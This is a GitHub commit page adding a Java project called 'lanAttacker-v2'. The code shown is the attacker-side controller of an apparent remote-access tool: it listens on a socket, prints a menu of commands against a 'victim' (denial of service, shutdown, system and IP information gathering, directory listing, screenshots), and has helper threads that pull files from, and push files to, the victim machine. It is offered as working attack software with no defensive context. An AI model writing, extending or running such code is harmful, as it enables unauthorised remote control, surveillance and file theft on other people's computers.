-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #1 from DhesiTheKing/DhesiTheKing-lanAttacker-v2
Add files via upload
- Loading branch information
Showing
13 changed files
with
406 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,77 @@ | ||
package hack; | ||
|
||
import java.net.*; | ||
import java.util.Scanner; | ||
|
||
import javax.swing.JOptionPane; | ||
|
||
import java.io.*; | ||
public class Attack { | ||
public static void Hack() { | ||
try { | ||
ServerSocket ss=new ServerSocket(5555); | ||
Socket s=ss.accept(); | ||
//JOptionPane.showConfirmDialog(null, "Connected!!"); | ||
System.out.println("----------ATTACKING----------"); | ||
System.out.println("1.'dos' [making the victim's system unavailable]"); | ||
System.out.println("2.'shut' [shutdown thw victim's system]"); | ||
System.out.println("----------INFORMAION GATHERING----------"); | ||
System.out.println("1.'ip' [Gathering all details about the ip]"); | ||
System.out.println("2.'syspec' [Gathering all the System details]"); | ||
System.out.println("3.'open website' [Enter the URL of the website]"); | ||
System.out.println("4.'directory enumaration' ['dir`'+ terminal commonds]"); | ||
System.out.println("5.'Change the Server' ['ipchange`'<IP ADDRESS>]"); | ||
System.out.println("6.'Download Files' ['downfile`'<file path>]"); | ||
System.out.println("7.'TAKING SCREENSHOT' ['scrnsht`'<img path>]"); | ||
DataInputStream din=new DataInputStream(s.getInputStream()); | ||
DataOutputStream dout=new DataOutputStream(s.getOutputStream()); | ||
BufferedReader br=new BufferedReader(new InputStreamReader(System.in)); | ||
String vic="",att=""; | ||
while(!att.equals("stop")) { | ||
att=br.readLine(); | ||
dout.writeUTF(att); | ||
if(att.contains("downfile")) { | ||
vic=din.readUTF(); | ||
System.out.println(vic); | ||
FileDownload f = new FileDownload(); | ||
dout.writeUTF("dir`undo"); | ||
f.start(); | ||
} | ||
if(att.contains("upfile")) { | ||
//Scanner in = new Scanner(System.in); | ||
System.out.println("ENTER THE VICTIM IP:"); | ||
String ipadd=br.readLine(); | ||
System.out.println("ENTER YOUR FILE PATH TO UPLOAD:"); | ||
String path=br.readLine(); | ||
FileUpload f = new FileUpload(path,ipadd, 14325); | ||
f.start(); | ||
vic=din.readUTF(); | ||
System.out.println(vic); | ||
dout.writeUTF("dir`undo"); | ||
|
||
} | ||
|
||
if(att.equals("dos")|| att.equals("shut")|| att.equals("ipchange") || att.equals("ip") || att.equals("syspec") || att.contains("txt") || att.length()>5 || att.contains("dir") || att.contains("scrnsht") && !att.contains("downfile") && !att.contains("downfile")) { | ||
vic=din.readUTF(); | ||
System.out.println(vic); | ||
} | ||
dout.flush(); | ||
|
||
} | ||
din.close(); | ||
s.close(); | ||
ss.close(); | ||
} | ||
catch(Exception e) { | ||
System.out.println(e.toString()); | ||
} | ||
} | ||
|
||
public static void main(String[] args) throws Exception | ||
{ | ||
Hack(); | ||
|
||
} | ||
|
||
} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
package hack; | ||
|
||
import java.io.DataInputStream; | ||
import java.io.FileOutputStream; | ||
import java.net.ServerSocket; | ||
import java.net.Socket; | ||
import java.util.Scanner; | ||
|
||
public class FileDownload extends Thread{ | ||
public void run() { | ||
try { | ||
ServerSocket socket = new ServerSocket(14322); | ||
Socket clientSocket = socket.accept(); | ||
DataInputStream dis = new DataInputStream(clientSocket.getInputStream()); | ||
Scanner in = new Scanner(System.in); | ||
System.out.println("ENTER THE PATH:"); | ||
String path=in.nextLine(); | ||
FileOutputStream fout = new FileOutputStream(path); | ||
int i; | ||
while ( (i = dis.read()) > -1) { | ||
fout.write(i); | ||
} | ||
|
||
fout.flush(); | ||
fout.close(); | ||
dis.close(); | ||
System.out.println("FILE DOWNLOAD SUCCESSFULY!!"); | ||
clientSocket.close(); | ||
socket.close(); | ||
} | ||
catch(Exception e) { | ||
|
||
} | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
package hack; | ||
|
||
import java.io.DataOutputStream; | ||
import java.io.FileInputStream; | ||
import java.net.Socket; | ||
|
||
public class FileUpload extends Thread{ | ||
String path,ip; | ||
int port; | ||
public FileUpload(String path, String ip, int port) { | ||
this.path=path; | ||
this.ip=ip; | ||
this.port=port; | ||
} | ||
|
||
public void run() { | ||
try { | ||
int i; | ||
FileInputStream fis = new FileInputStream (path); | ||
Socket sock = new Socket(ip, port); | ||
DataOutputStream os = new DataOutputStream(sock.getOutputStream()); | ||
while ((i = fis.read()) > -1) | ||
os.write(i); | ||
|
||
fis.close(); | ||
os.close(); | ||
sock.close(); | ||
} | ||
catch(Exception e) { | ||
|
||
} | ||
|
||
} | ||
} |
Oops, something went wrong.